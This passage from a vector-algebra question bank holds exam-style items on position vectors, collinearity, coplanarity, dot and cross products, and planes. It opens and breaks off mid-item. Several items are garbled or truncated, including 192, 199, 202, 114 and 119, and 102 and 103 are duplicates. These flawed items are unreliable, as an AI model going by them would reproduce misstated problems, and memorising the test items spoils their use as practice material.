\beta = 1$ (4) $\alpha = 1, \beta = 1$ 192. If $\vec{a}, \vec{b},$ and $\vec{c}$ are three unit vectors such that $\vec{a} \times (\vec{b} \times \vec{c}) = \frac{1}{1} \vec{b}$, then (b and c being non-parallel) angle between $\vec{a}$ and $\vec{b}$ is $\pi/3$ b. angle between $\vec{a}$ and $\vec{c}$ is $\pi/3$ c. a. angle between $\vec{a}$ and $\vec{b}$ is $\pi/2$ d. a. angle between $\vec{a}$ and $\vec{c}$ is $\pi/2$ 193. The equation $\vec{r}^2 - 2\vec{r} \cdot \vec{c} + h = 0$, $|\vec{c}| > \sqrt{h}$ represents (A) circle (B) ellipse (C) cone (D) sphere 194. \(\overrightarrow{a} = \hat{i} - \hat{j} + \hat{k}\) and \(\overrightarrow{b} = 2\hat{i} + 4\hat{j} + 3\hat{k}\) are one of the sides and medians respectively of a triangle through the same vertex, then area of the triangle is (A) \(\frac{1}{2}\sqrt{83}\) (B) \(\sqrt{83}\) (C) \(\frac{1}{2}\sqrt{85}\) (D) \(\sqrt{86}\) 195. The values of \(a\) for which the points A,B,C with position vectors \(2\hat{i} + \hat{j} + \hat{k}\), \(\hat{i} - 3\hat{j} - 5\hat{k}\) and \(a\hat{i} - 3\hat{j} + \hat{k}\) respectively are the vertices of a right angled triangle at C are (A) 2 and 1 (B) -2 and -1 (C) -2 and 1 (D) 2 and -1 196. If \(\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}\) are unit vectors, then \(\left|\overrightarrow{a} - \overrightarrow{b}\right|^2 + \left|\overrightarrow{b} - \overrightarrow{c}\right|^2 + \left|\overrightarrow{c} - \overrightarrow{a}\right|^2\) does not exceed (A) 4 (B) 9 (C) 8 (D) 6 197. If $\overrightarrow{u}, \overrightarrow{v}, \overrightarrow{w}$ are noncoplanar vectors and $p, q$ are real numbers, then the equality \[ \left[3\overrightarrow{u}, p\overrightarrow{v}, p\overrightarrow{w}\right] - \left[p\overrightarrow{v}, \overrightarrow{w}, q\overrightarrow{u}\right] - \left[2\overrightarrow{w}, q\overrightarrow{v}, q\overrightarrow{u}\right] = 0 \] holds for (1) exactly one value of $(p, q)$ (2) exactly two values of $(p, q)$ (3) more than two but not all values of $(p, q)$ (4) all values of $(p, q)$ 198. The projections of a vector on the three coordinate axis are 6, 3, 2 respectively. The direction cosines of the vector are (1) 6, -3, 2 (2) $\frac{6}{5}, \frac{-3}{5}, \frac{2}{5}$ (3) $\frac{6}{7}, \frac{-3}{7}, \frac{2}{7}$ (4) $\frac{-6}{7}, \frac{-3}{7}, \frac{2}{7}$ 199. If $\overrightarrow{a}, \overrightarrow{c}, \overrightarrow{c}$ and $\overrightarrow{d}$ are unit vectors such that \[ (\overrightarrow{a} \times \overrightarrow{b}) \cdot (\overrightarrow{c} \times \overrightarrow{d}) = 1 \text{ and } \overrightarrow{a} \cdot \overrightarrow{b} = \frac{1}{2} \] then 200. Let \( P(3, 2, 6) \) be a point in space and \( Q \) be a point on line \[ \vec{r} = (\hat{i} - \hat{j} + 2\hat{k}) + \mu(-3\hat{i} + \hat{j} + 5\hat{k}). \] Then the value of \( \mu \) for which the vector \( \overrightarrow{PQ} \) is parallel to the plane \( x - 4y + 3z = 1 \) is 201. If \( \theta \) is the angle between unit vectors \( \vec{a} \) and \( \vec{b} \) then \( \sin\left(\frac{\theta}{2}\right) \) is (A) \[ \frac{1}{2}|\vec{a} - \vec{b}| \] (B) \[ \frac{1}{2}|\vec{a} + \vec{b}| \] (C) \[ \frac{1}{2}|\vec{a} \times \vec{b}| \] (D) \[ \frac{1}{\sqrt{2}}\sqrt{1 - \vec{a} \cdot \vec{b}} \] 202. Let \( \vec{u}, \vec{v}, \vec{w} \) be three unit vectors such that \[ \vec{u} + \vec{v} + \vec{w} = \vec{a}, \quad \vec{a} \cdot \vec{u} = \frac{3}{2}, \quad \vec{a} \cdot \vec{v} = \frac{7}{4}|\vec{a}| = 2, \] then (A) \[ \vec{u} \cdot \vec{v} = \frac{3}{2} \] (B) \[ \vec{u} \cdot \vec{w} = 0 \] (C) \[ \vec{u} \cdot \vec{w} = -\frac{1}{4} \] (D) none of these 203. Let $\overrightarrow{A}$ be a vector parallel to the line of intersection of the planes $P_1$ and $P_2$. The plane $P_1$ is parallel to vectors $2\hat{j} + 3\hat{k}$ and $4\hat{j} - 3\hat{k}$ while plane $P_2$ is parallel to the vectors $\hat{j} - \hat{k}$ and $\hat{i} + \hat{j}$. The acute angle between $\overrightarrow{A}$ and $2\hat{i} + \hat{j} - 2\hat{k}$ is 204. Assertion: $\overrightarrow{PQ} \times (\overrightarrow{RS} + \overrightarrow{ST}) \neq 0$, Reason: $\overrightarrow{PQ} \times \overrightarrow{RS} = \overrightarrow{0}$ and $\overrightarrow{PQ} \times \overrightarrow{ST} \neq \overrightarrow{0}$ (A) Both A and R are true and R is the correct explanation of A (B) Both A and R are true R is not the correct explanation of A (C) A is true but R is false. (D) A is false but R is true. 205. Consider $\triangle ABC$. Let I be the incentre and $a, b, c$ be the sides of the triangle opposite to angles $A, B, C$ respectively. Let $O$ be any point in the plane of $\triangle ABC$ within the triangle. AO, BO and CO meet the sides BC, 206. Consider $\triangle ABC$. Let $I$ be the incentre and $a, b, c$ be the sides of the triangle opposite to the angles $A, B, C$ respectively. Let $O$ be any point in the plane of $\triangle ABC$ within the triangle. $AO, BO, CO$ meet the sides $BC, CA$ and $AB$ in $D, E$ and $F$ respectively then $$\frac{OD}{AD} + \frac{OE}{BE} + \frac{OF}{CF} =$$ 207. Consider $\triangle ABC$. Let $I$ be the incentre and $a, b, c$ be the sides of the triangle opposite to angles $A, B, C$ respectively. Let $O$ be any point in the plane of $\triangle ABC$ within the triangle. $AO, BO$ and $CO$ meet the sides $BC, CA$ and $AB$ in $D, E$ and $F$ respectively. If $3\overrightarrow{BD} = 2\overrightarrow{DC}$ and $4\overrightarrow{CE} = \overrightarrow{EA}$ then the ratio in which $O$ divides $\overrightarrow{AB}$ is $(A) 3:4 (B) 3:2 (C) 4:1 (D) 6:1$ 1. Classify the following measures as scalars and vector: 5 seconds. 2. Classify the following measures as scalars and vector: 3 km/hr 3. Classify the following measures as scalars and vector: $\frac{10 \text{ gm}}{\text{cm}^3}$ 4. Classify the following measures as scalars and vector: 10 Newton 5. Classify the following measures as scalars and vector: $20 \frac{m}{\text{sec}}$ or $\text{th}$ 6. Classify the following measures as scalars and vector: $1000 \text{cm}^3$ 7. Classify the following quantities as scalars and vector: 10 kg 8. Classify the following quantities as scalars and vector: $20c \frac{m}{\text{sec}^3}$ 9. Classify the following quantities as scalars and vector: $50 \frac{m}{\text{sec}}$ nd 10. Classify the following quantities as scalars and vector: $20 \frac{m}{\text{sec}}$ towards west 11. Classify the following quantities as scalars and vector: '50 kg weight 12. Classify the following quantities as scalars and vector: $100^\circ C$ 13. Classify the following quantities as scalars and vector: 100 kg weight 14. Classify the following quantities as scalars and vector: $30^\circ$ 15. Classify the following quantities as scalars and vector: charge 16. Classify the following quantities as scalars and vector: energy 17. Classify the following quantities as scalars and vector: potential 18. Classify the following quantities as scalars and vector: displacement 19. Represent graphically a displacement of 50 km, $50^\circ$ west of south. 20. Represent graphically: A displacement of 20 m, north east. 21. Represent graphically: A displacement of 50 m, $60^\circ$ south of east 22. Represent the following graphically: A displacement of 40 km, $30^\circ$ east of north A displacement of 50 km south east A displacement of 70 km, $40^\circ$ north of west 23. Represent graphically: a displacement of 40 km, $20^\circ$ east of south 24. Represent graphically a displacement of: 20 km south west 25. Represent graphically a displacement of: 60 km, $40^\circ$ north of west 26. In the adjoining figure which of the vector are: collinear 27. In the adjoining figure which of the vector are: cointial 28. In the adjoining figure which of the vector are: equal 29. In the adjoining figure ABCD is a rectangle. Examine which of the vector are: equal 30. In the adjoining figure \(ABCD\) is a rectangle. Examine which of the vector are: collinear 31. In the adjoining figure \(ABCD\) is a rectangle. Examine which of the vector are: coinitial 32. In the adjoining figure \(ABCD\) is a rectangle. Examine which of the vector are: collinear but not equal 33. In the given figure \(ABCDEF\) is a regular hexagon. Examine which vector are, equal 34. In the given figure ABCDEF is a regular hexagon. Examine which vector are, collinear 35. In the given figure ABCDEF is a regular hexagon. Examine which vector are, Cointial 36. In the given figure ABCDEF is a regular hexagon. Examine which vector are, Collinear but not equal 37. The position vector of four points A, B, C, D are $\vec{a}$, $\vec{b}$, $2\vec{a} + 3\vec{b}$ and $\vec{a} - 2\vec{b}$ respectively. Express the vectors $\vec{AC}$, $\vec{DB}$, $\vec{BC}$ and $\vec{CA}$ in terms of $\vec{a}$ and $\vec{b}$. 38. If AD, BE and CF be the medians of a $\triangle ABC$, prove that $\vec{AD} + \vec{BE} + \vec{CF} = 0$. 39. If G is the centroid of $\triangle ABC$, prove that $\vec{GA} + \vec{GB} + \vec{GC} = 0$. Further if $G_1$ is the centroid of another $\triangle PQR$, show that $\vec{AP} + \vec{BQ} + \vec{CR} = 3\vec{GG}_1$. 40. Five forces $\overrightarrow{AB}$, $\overrightarrow{AC}$, $\overrightarrow{AD}$, $\overrightarrow{AE}$ and $\overrightarrow{AF}$ act at the vertex of a regular hexagon $ABCDEF$. Prove that the resultant is $6\overrightarrow{AO}$, where $O$ is the centre of hexagon. 41. If $ABCDEF$ is a regular hexagon, prove that $\overrightarrow{AC} + \overrightarrow{AD} + \overrightarrow{EA} + \overrightarrow{FA} = 3\overrightarrow{AB}$ 42. ABCD is a parallelogram E and F are the middle points of AD and CD respectively. Express $\overrightarrow{BE}$ and $\overrightarrow{BF}$ in terms of $\overrightarrow{a}$ and $\overrightarrow{b}$, where $\overrightarrow{BA} = \overrightarrow{a}$ and $\overrightarrow{BC} = \overrightarrow{b}$. 43. If D and E are the mid-points of sides AB and AC of a triangle \(ABC\) respectively, show that \(\overrightarrow{BE} + \overrightarrow{DC} = \frac{3}{2}\overrightarrow{BC}\). 44. In trapezium PQRS, given that \(QR \parallel PS\) and \(2QR = PS\). If \(\overrightarrow{PQ} = \overrightarrow{a}, \overrightarrow{QR} = \overrightarrow{b}\) and \(\overrightarrow{RS} = \overrightarrow{c}\), express \(\overrightarrow{a}\) in terms \(\overrightarrow{b}\) and \(\overrightarrow{c}\). 45. OX, OY and OZ are three edges of a cube and P,Q,R are the vertices of rectangle OXPY, OXQZ and OYSZ respectively. If \(\vec{OX}=\vec{\alpha}, \vec{OY}=\vec{\beta}\) and \(\vec{OZ}=\vec{\gamma}\) express \(\vec{OP}, \vec{OQ}, \vec{OR}\) and \(\vec{OS}\) in terms of \(\vec{\alpha}, \vec{\beta}\) and \(\vec{\gamma}\). 46. If \(\overrightarrow{a} + 2\overrightarrow{b} + 3\overrightarrow{c}, 2\overrightarrow{a} + 8\overrightarrow{b} + 3\overrightarrow{c}, 2\overrightarrow{a} + 5\overrightarrow{b} - \overrightarrow{c}\) and \(\overrightarrow{a} - \overrightarrow{b} - \overrightarrow{c}\) be the positions vectors A, B, C and D respectively, prove that \(\overrightarrow{AB}\) and \(\overrightarrow{CD}\) are parallel. Is ABCD a parallelogram? 47. If \(ABCD\) is quadrilateral and \(E\) and \(F\) are the mid-points of \(AC\) and \(BD\) respectively, prove that \(\overrightarrow{AB} + \overrightarrow{AD} + \overrightarrow{CB} + \overrightarrow{CD} = 4\overrightarrow{EF}\). 48. \(ABCD\) is parallelogram and \(P\) is the point of intersection of its diagonals. If \(O\) is the origin of reference, show that \(\overrightarrow{OA} + \overrightarrow{OB} + \overrightarrow{OC} + \overrightarrow{OD} = 4\overrightarrow{OP}\). 49. $\vec{a}$, $\vec{b}$, $\vec{c}$ are the position vectors of vertices A, B, C respectively of a parallelogram, ABCD, find the position vector of D. 50. Find the sum of the vectors $\vec{a} = \hat{i} - 2\hat{j} + \hat{k}$, $\vec{b} = -2\hat{i} + 4\hat{j} + 5\hat{k}$ and $\vec{c} = \hat{i} - 6\hat{j} - 7\hat{k}$ 51. Find the scalar and vector components of the vector with initial point $A(2, 1)$ and terminal point $B(-5, 7)$. 52. If the position vectors of A and B respectively are $\hat{i} + 3\hat{j} - 7\hat{k}$ and $5\hat{i} - 2\hat{j} + 4\hat{k}$, then find 53. Find the vector joining the points \( P(2, 3, 0) \) and \( Q(1, 2, 4) \) directed from \( P \) to \( Q \). 54. Find the values of \( x \) for which \( x(\hat{i} + \hat{j} + \hat{k}) \) is a unit vector. 55. Find unit vector in the direction of vector \( \vec{a} = 2\hat{i} + 3\hat{j} + \hat{k} \). 56. Find a unit vector in the direction of the vector \( \vec{a} = 3\hat{i} - 2\hat{j} + 6\hat{k} \). 57. Find the direction cosines of the vector: \( \hat{i} + 2\hat{j} + 6\hat{k} \) 58. Find the vector in the direction of the vector \( -\hat{i} + 2\hat{j} + 2\hat{k} \) that has magnitude 7. 59. Find a vector in the direction of vector \( \overrightarrow{a} = \hat{i} - 2\hat{j} \) that has magnitude 7 units. 60. If \( \overrightarrow{OP} = 2\hat{i} + 3\hat{j} - \hat{k} \) and \( \overrightarrow{OQ} = 5\hat{i} + 4\hat{j} - 3\hat{k} \). Find \( \overrightarrow{PQ} \) and the direction cosines of \( \overrightarrow{PQ} \). 61. The position vectors of two points A and B are $\hat{i} + \hat{j} + \hat{k}$ and $5\hat{i} - 3\hat{j} + \hat{k}$. Find a unit vector in direction of $\overrightarrow{AB}$, and also find the direction cosines of $\overrightarrow{AB}$. What angles does $\overrightarrow{AB}$ make with the three axes? 62. Write the direction ratios of the vector $\overrightarrow{a} = \hat{i} + \hat{j} - 2\hat{k}$ and hence calculate its direction cosines. 63. Find the unit vector in the direction of vector $\overrightarrow{PQ}$, where P and Q are the points (1, 2, 3) and (4, 5, 6), respectively. 64. If \( P \equiv (1, 5, 4) \) and \( Q \equiv (4, 1, -2) \) find the direction ratios of \( \overrightarrow{PQ} \). 65. If \( \overrightarrow{a} = \hat{i} + \hat{j} + \hat{k}, \overrightarrow{b} = 2\hat{i} - \hat{j} + 3\hat{k} \) and \( \overrightarrow{c} = \hat{i} - 2\hat{j} + \hat{k} \) find a unit vector parallel to their vector \( 2\overrightarrow{a} - \overrightarrow{b} + 3\overrightarrow{c} \). 66. If \( \overrightarrow{a} = \hat{i} + 2\hat{j} - \hat{k} \) and \( \overrightarrow{b} = 3\hat{i} + \hat{j} - \hat{k} \) find a unit vector in the direction of \( \overrightarrow{a} - \overrightarrow{b} \). 67. The position vectors of four points \( P, Q, R \), and \( S \) are \( 2\mathbf{a} + 4\mathbf{c}, 5\mathbf{a} + 3\sqrt{3}\mathbf{b} + 4\mathbf{c}, -2\sqrt{3}\mathbf{b} + \mathbf{c} \) and \( 2\mathbf{a} + \mathbf{c} \) respectively, prove that \( PQ \) is parallel to \( RS \). 68. Find the lengths of the sides of the triangle whose vertices are \( A(2, 4, -1), (4, 5, 1), C(3, 6, -3) \) and show that the triangle is right angled. 69. The vectors \( 2\hat{i} - \hat{j} + \hat{k}, \hat{i} - 3\hat{j} - 5\hat{k} \) and \( 3\hat{i} - 4\hat{j} - 4\hat{k} \) forms a/an 70. If position vectors of \( P,Q,R,S \) be respectively \( 2\hat{i} + 4\hat{k}, 5\hat{i} + 4\hat{j} + 4\hat{k}, -4\hat{i} - 8\hat{j} + \hat{k}, 2\hat{i} + \hat{k} \), prove that RS is parallel to PQ and is twice of PQ. 71. The position vectors of the points P, Q, R, S are \( \hat{i} + \hat{j} + \hat{k}, 2\hat{i} + 5\hat{j}, 3\hat{i} + 2\hat{j} - 3\hat{k} \) and \( \hat{i} - 6\hat{j} - \hat{k} \). Prove that the lines PQ and RS are parallel and find the ratio of their lengths. 72. Prove that the three points whose position vectors are \( 3\hat{i} - \hat{j} + 2\hat{k}, \hat{i} - \hat{j} - 3\hat{k} \) and \( 4\hat{i} - 3\hat{j} + \hat{k} \) form an isosceles triangle. 73. Prove that the vectors \( 3\hat{i} + 5\hat{j} + 2\hat{k}, 2\hat{i} - 3\hat{j} - 5\hat{k} \) and \( 5\hat{i} + 2\hat{j} - 3\hat{k} \) form the sides of an equilateral triangle. 74. Prove that the points $\hat{i} - \hat{j}$, $4\hat{i} - 3\hat{j} + \hat{k}$ and $2\hat{i} - 4\hat{j} + 5\hat{k}$ are the vertices of a right angled triangle. 75. Using dot product of vectors show that the vectors $2\hat{i} - \hat{j} + \hat{k}$, $\hat{i} - 3\hat{j} - 5\hat{k}$ and $3\hat{i} - 4\hat{j} - 4\hat{k}$ form a right angled triangle. 76. Find a unit vector parallel to the sum of the vectors $2\hat{i} + 3\hat{j} - 5\hat{k}$ and $\hat{i} + 2\hat{j} + 3\hat{k}$. 77. The two adjacent sides of a parallelogram are $2\hat{i} - 4\hat{j} + 5\hat{k}$ and $\hat{i} - 2\hat{j} - 3\hat{k}$. Find the unit vector parallel to one of its diagonals. Also, find its area. 78. Find the unit vector in the direction of the sum of the vectors $\vec{a} = 2\hat{i} + 2\hat{j} - 5\hat{k}$ and $\vec{b} = 2\hat{i} + \hat{j} + 3\hat{k}$. 79. Find a vector magnitude 5 units, and parallel to the resultant of the vectors $\vec{a} = 2\hat{i} + 3\hat{j} - \hat{k}$ and $\vec{b} = \hat{i} - 2\hat{j} + \hat{k}$. 80. Let \(\overrightarrow{a} = \hat{i} + 2\hat{j}\) and \(\overrightarrow{b} = 2\hat{i} + \hat{j}\). Is \(|\overrightarrow{a}| = |\overrightarrow{b}|\)? Are the vectors \(\overrightarrow{a}\) and \(\overrightarrow{b}\) equal? 81. Find the values of \(x, y\) and \(z\) so that the vectors \(\overrightarrow{a} = x\hat{i} + 2\hat{j} + z\hat{k}\) and \(\overrightarrow{b} = 2\hat{i} + y\hat{j} + \hat{k}\) are equal. 82. If \(\overrightarrow{a}\) and \(\overrightarrow{b}\) are non-collinear vectors and \(\overrightarrow{A} = (p + 4q)\overrightarrow{a} + (2p + q + 1)\overrightarrow{b}\) and \(\overrightarrow{B} = (-2p + q + 2)\overrightarrow{a} + (2p - 3q)\overrightarrow{b}\), and if \(3\overrightarrow{A} = 2\overrightarrow{B}\), then determine \(p\) and \(q\). 83. Find the all the values of lamda such that \((x, y, z) \neq (0, 0, 0)\) and \[ x(\hat{i} + \hat{j} + 3\hat{k}) + y(3\hat{i} - 3\hat{j} + \hat{k}) + z(-4\hat{i} + 5\hat{j}) = \lambda(x\hat{i} + y\hat{j} + z\hat{k}) \] 84. Check whether the following sets of three points are collinear: \[ -2\vec{a} + 3\vec{b} + 5\vec{c}, \vec{a} + 2\vec{b} + 3\vec{c}, 6\vec{a} - \vec{c} \] 85. Prove that the following sets of three points are collinear: \[ 2\hat{i} + \hat{j} - \hat{k}, 3\hat{i} - 2\hat{j} + \hat{k} \text{ and } \hat{i} + 4\hat{j} - 3\hat{k} \] 86. The points with position vectors \(60\hat{i} + 3\hat{j}, 40\hat{i} - 8\hat{j}, a\hat{i} - 52\hat{j}\) are collinear if (A) \(a = -40\) (B) \(a = 40\) (C) \(a = 20\) (D) none of these 87. Prove that the points \( A(1, 2, 3), B(3, 4, 7), C(-3, -2, -5) \) are collinear and find the ratio in which B divides AC. 88. Vectors \( \overrightarrow{a} \) and \( \overrightarrow{b} \) are non-collinear. Find for what value of x vectors \( \overrightarrow{c} = (x - 2) \overrightarrow{a} + \overrightarrow{b} \) and \( \overrightarrow{d} = (2x + 1) \overrightarrow{a} - \overrightarrow{b} \) are collinear? 89. If \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c} \) are non-zero and non-coplanar vectors show that the following vector are coplanar: \[ 2\overrightarrow{a} - 3\overrightarrow{b} + 4\overrightarrow{c}, \quad -\overrightarrow{a} + 3\overrightarrow{b} - 5\overrightarrow{c}, \quad -\overrightarrow{a} + 2\overrightarrow{b} - 3\overrightarrow{c} \] 90. If $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are non zero and non coplanar vectors show that the following vector are coplanar: $$5\overrightarrow{a} + 6\overrightarrow{b} + 7\overrightarrow{c}, 7\overrightarrow{a} - 8\overrightarrow{b} + 9\overrightarrow{c}, 3\overrightarrow{a} + 20\overrightarrow{b} + 5\overrightarrow{c}$$ 91. If $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are non zero and non coplanar vectors show that the following vector are coplanar: $$4\overrightarrow{a} + 5\overrightarrow{b} + \overrightarrow{c}, -\overrightarrow{b} - \overrightarrow{c}, 5\overrightarrow{a} + 9\overrightarrow{b} + 4\overrightarrow{c}$$ 92. If $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are non coplanar vectors, check whether the following points are coplanar: $$6\overrightarrow{a} + 2\overrightarrow{b} - \overrightarrow{c}, 2\overrightarrow{a} + \overrightarrow{b} + 3\overrightarrow{c}, -\overrightarrow{a} + 2\overrightarrow{b} - 4\overrightarrow{c}, -12\overrightarrow{a} - \overrightarrow{b} - 3\overrightarrow{c}$$ 93. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are non coplanar vectors, prove that the following points are coplanar: \[6 \overrightarrow{a} - 4 \overrightarrow{b} + 10 \overrightarrow{c}, \quad -5 \overrightarrow{a} + 3 \overrightarrow{b} - 10 \overrightarrow{c}, \quad 4 \overrightarrow{a} - 6 \overrightarrow{b} - 10 \overrightarrow{c}, \quad 2 \overrightarrow{b} + 10 \overrightarrow{c}\] 94. If the vectors $2\hat{i} - \hat{j} + \hat{k}$, $\hat{i} + 2\hat{j} - 3\hat{k}$ and $3\hat{i} + a\hat{j} + 5\hat{k}$ are coplanar, then prove that $a = 4$. 95. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ be three non zero non coplanar vectors establish a linear relation between the vectors: \[4 \overrightarrow{a} + 5 \overrightarrow{b} + \overrightarrow{c}, \quad -\overrightarrow{b} - \overrightarrow{c}, \quad 3 \overrightarrow{a} + 9 \overrightarrow{b} + 4 \overrightarrow{c}, \quad -4 \overrightarrow{a} + 4 \overrightarrow{b} + 4 \overrightarrow{c}\] 96. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ be three non coplanar vectors establish a linear relation between the vectors: $$8\overrightarrow{b} + 6\overrightarrow{c}, \overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}, 2\overrightarrow{a} - \overrightarrow{b} + \overrightarrow{c}, \overrightarrow{a} - \overrightarrow{b} - \overrightarrow{c}$$ 97. Examine whether following vectors are coplanar or not: $$5\overrightarrow{a} + 6\overrightarrow{b} + 7\overrightarrow{c}, 7\overrightarrow{a} - 8\overrightarrow{b} + 9\overrightarrow{c}, 3\overrightarrow{a} + 20\overrightarrow{b} + 5\overrightarrow{c}$$ 98. Examine whether the following vectors from a linearly dependent or independent set of vector: $\hat{i} + 3\hat{j} + 5\hat{k}, 2\hat{i} + 6\hat{j} + 10\hat{k}$ 99. Examine whether the following vectors from a linearly dependent or independent set of vector: \[ \vec{a} = (1, -2, 30), \quad \vec{b} = (-2, 3, -4), \quad \vec{c} = (1, -1, 5) \] 100. Examine whether the following vectors from a linearly dependent or independent set of vector: \[ \vec{a} - 3\vec{b} + 2\vec{c}, \quad \vec{a} - 9\vec{b} - \vec{c}, \quad 3\vec{a} + 2\vec{b} - \vec{c} \text{ where } \vec{a}, \vec{b}, \vec{c} \text{ are non zero non coplanar vectors} \] 101. Find the mid point of the line segment joining the points \( P(2\hat{i} + 3\hat{j} + 3\hat{k}) \) and \( Q(4\hat{i} + \hat{j} - 2\hat{k}) \) 102. Consider two points \( P \) and \( Q \) with position vectors \[ \overrightarrow{OP} = 3 \overrightarrow{a} - 2 \overrightarrow{b} \] and \[ \overrightarrow{OQ} = \overrightarrow{a} + \overrightarrow{b}. \] Find the position vector of a point \( R \) which divides the line joining \( P \) and \( Q \) in the ratio 2:1, (i) internally, and (ii) externally. 103. Consider two points \( P \) and \( Q \) with position vectors \[ \overrightarrow{OP} = 3 \overrightarrow{a} - 2 \overrightarrow{b} \] and \[ \overrightarrow{OQ} = \overrightarrow{a} + \overrightarrow{b}. \] Find the position vector of a point \( R \) which divides the line joining \( P \) and \( Q \) in the ratio 2:1, (i) internally, and (ii) externally. 104. Find the position vector of a point \( R \) which divides the line joining two points \( P \) and \( Q \) whose position vectors are \[ \hat{i} + 2\hat{j} - \hat{k} \] and \[ -\hat{i} + \hat{j} + \hat{k}, \] respectively, in the ratio 2 : 1. 105. Find the position vector of a point $R$ which divides the line joining two points $P$ and $Q$ whose position vectors are $\hat{i} + 2\hat{j} - \hat{k}$ and $-\hat{i} + \hat{j} + \hat{k}$, respectively, in the ratio $2:1$. i. Internally ii. Externally 106. Find the position vector of a point $R$ which divides the line joining two points $P$ and $Q$ whose position vectors are $\left(2\vec{a} + \vec{b}\right)$ and $\left(\vec{a} - 3\vec{b}\right)$ respectively, externally in the ratio $1:2$. Also, show that $P$ is the mid-point of the line segment $RQ$. 107. $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are the position vectors of the three points A,B,C respectively. The point P divides the line segment AB internally in the ratio 2:1 and the point Q divides the line segment BC externally in the ratio 3:2 show that $3\overrightarrow{PQ} = -\overrightarrow{a} - 8\overrightarrow{b} + 9\overrightarrow{c}$. 108. Show that the perpendicular bisectors of the sides of a triangle are concurrent. 109. The line segment joining the mid-points of any two sides of a triangle is parallel to the third side and equal to half of it. 110. Prove that the segment joining the middle points of two non-parallel sides of a trapezium is parallel to the parallel sides and half of their sum. 111. Prove that the line segment joining the mid-points of the diagonals of a trapezium is parallel to each of the parallel sides and is equal to half the difference of these sides. 112. If \( P \) and \( Q \) are the mid points of the sides \( AB \) and \( CD \) of a parallelogram \( ABCD \), prove that \( DP \) and \( BQ \) cut the trisection which also the points of trisection of \( DP \) and \( BQ \) respectively. 113. Write down a unit vector in XY-plane, making an angle of 30 with the positive direction of x-axis. 114. The horizontal force and the force inclined at an angle $60^\circ$ with the vertical, whose resultant is in vertical direction of P kg, ar 115. The velocity of a boat relative to water is represented by $3\vec{i} + 4\vec{j}$ and that of water relative to the earth by $\vec{i} - 3\vec{j}$. What is the velocity of the boat relative to the earth, if $\vec{i}$ and $\vec{j}$ represent velocities of 1 km/hour east and north respectively. 116. If \( \lambda \overrightarrow{a} + \mu \overrightarrow{b} + \gamma \overrightarrow{c} = 0, \) where \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c} \) are mutually perpendicular and \( \lambda, \mu, \gamma \) are scalars prove that \( \lambda = \mu = \gamma = 0 \) 117. A,B,C and d are any four points prove that \( \overrightarrow{AB} \cdot \overrightarrow{CD} + \overrightarrow{BC} \cdot \overrightarrow{AD} + \overrightarrow{CA} \cdot \overrightarrow{BD} = 0 \) 118. Find the equation of the plane through the point \( 2\overrightarrow{i} + 3\overrightarrow{j} - \overrightarrow{k} \) and perpendicular to the vector \( 3\overrightarrow{i} - 4\overrightarrow{j} + 7\overrightarrow{k} \). 119. Find the equation of the plane through the \( 2\overrightarrow{i} + 3\overrightarrow{j} - \overrightarrow{k} \) and perpendicular to the vector \( 3\overrightarrow{i} + 2\overrightarrow{j} - 2\overrightarrow{k} \). Determine the 120. If the position vectors of the point A and B are $3\hat{i} + \hat{j} + 2\hat{k}$ and $\hat{i} - 2\hat{j} - 4\hat{k}$ respectively. Then the equation of the plane through B and perpendicular to AB is 121. Find the cosine of the angle between the planes $\vec{r} \cdot (2\hat{i} - 3\hat{j} - 6\hat{k}) = 7$ and $\vec{r} \cdot (6\hat{i} + 2\hat{j} - 9\hat{k}) = 5$ 122. Let A, B, C represent the vertices of a triangle, where A is the origin and B and C have position b and c respectively.* Points M, N and P are taken on sides AB, BC and CA respectively, such that 123. If $\vec{a}$, $\vec{b}$ and $\vec{c}$ are the position vectors of the vertices A,B and C respectively of $\triangle ABC$. Prove that the perpendicular distance of the vertex A from the base BC of the triangle ABC is $$\frac{\left| \vec{a} \times \vec{b} + \vec{b} \times \vec{c} + \vec{c} \times \vec{a} \right|}{\left| \vec{c} - \vec{b} \right|}$$ 124. Show that the perpendicular distance of any point $\vec{a}$ from the line $\vec{r} = \vec{b} + t \vec{c}$ is $$\left( \left| \left( \vec{b} - \vec{a} \right) \times \vec{c} \right| \right) \frac{1}{\left| \vec{c} \right|}$$ 125. Prove that the shortest distance between two lines AB and CD is \[ \left| \frac{(\vec{c} - \vec{a}) \cdot (\vec{b} - \vec{a}) \times (\vec{d} - \vec{c})}{|\vec{b} - \vec{a} \times \vec{d} - \vec{c}|} \right| \] where \(\vec{a}, \vec{b}, \vec{c}, \vec{d}\) are the position vectors of points A, B, C, D respectively. 126. If PQRS is a quadrilateral such that \(\overrightarrow{PQ} = \vec{a}, \overrightarrow{PS} = \vec{b}\) and \(\overrightarrow{PR} = x \vec{a} + y \vec{b}\) show that the area of the quadrilateral PQRS is \(\frac{1}{2} |xy| |\vec{a} \times \vec{b}|\). 127. A rigid body is rotating at 5 radians per second about an axis AB where A and B are the point \(2 \vec{i} + \vec{j} + \vec{k}\) and \(8 \vec{i} - 2 \vec{j} + 3 \vec{k}\) respectively. Find the velocity of the particle P of the body at the points \(5 \vec{i} - \vec{j} + \vec{k}\). 128. If \(\overrightarrow{a} = \overrightarrow{i} - 2\overrightarrow{j} + \overrightarrow{k}\), \(\overrightarrow{b} = \overrightarrow{i} + \overrightarrow{j} + \overrightarrow{k}\) and \(\overrightarrow{c} = \overrightarrow{i} + 2\overrightarrow{j} + \overrightarrow{k}\) then show that \(\overrightarrow{a} \cdot (\overrightarrow{b} \times \overrightarrow{c}) = (\overrightarrow{a} \times \overrightarrow{b}) \cdot \overrightarrow{c}\). 129. If \(\overrightarrow{a} = -2\overrightarrow{i} - 2\overrightarrow{j} + 4\overrightarrow{k}\), \(\overrightarrow{b} = -2\overrightarrow{i} + 4\overrightarrow{j} - 2\overrightarrow{k}\) and \(\overrightarrow{c} = 4\overrightarrow{i} - 2\overrightarrow{j} - 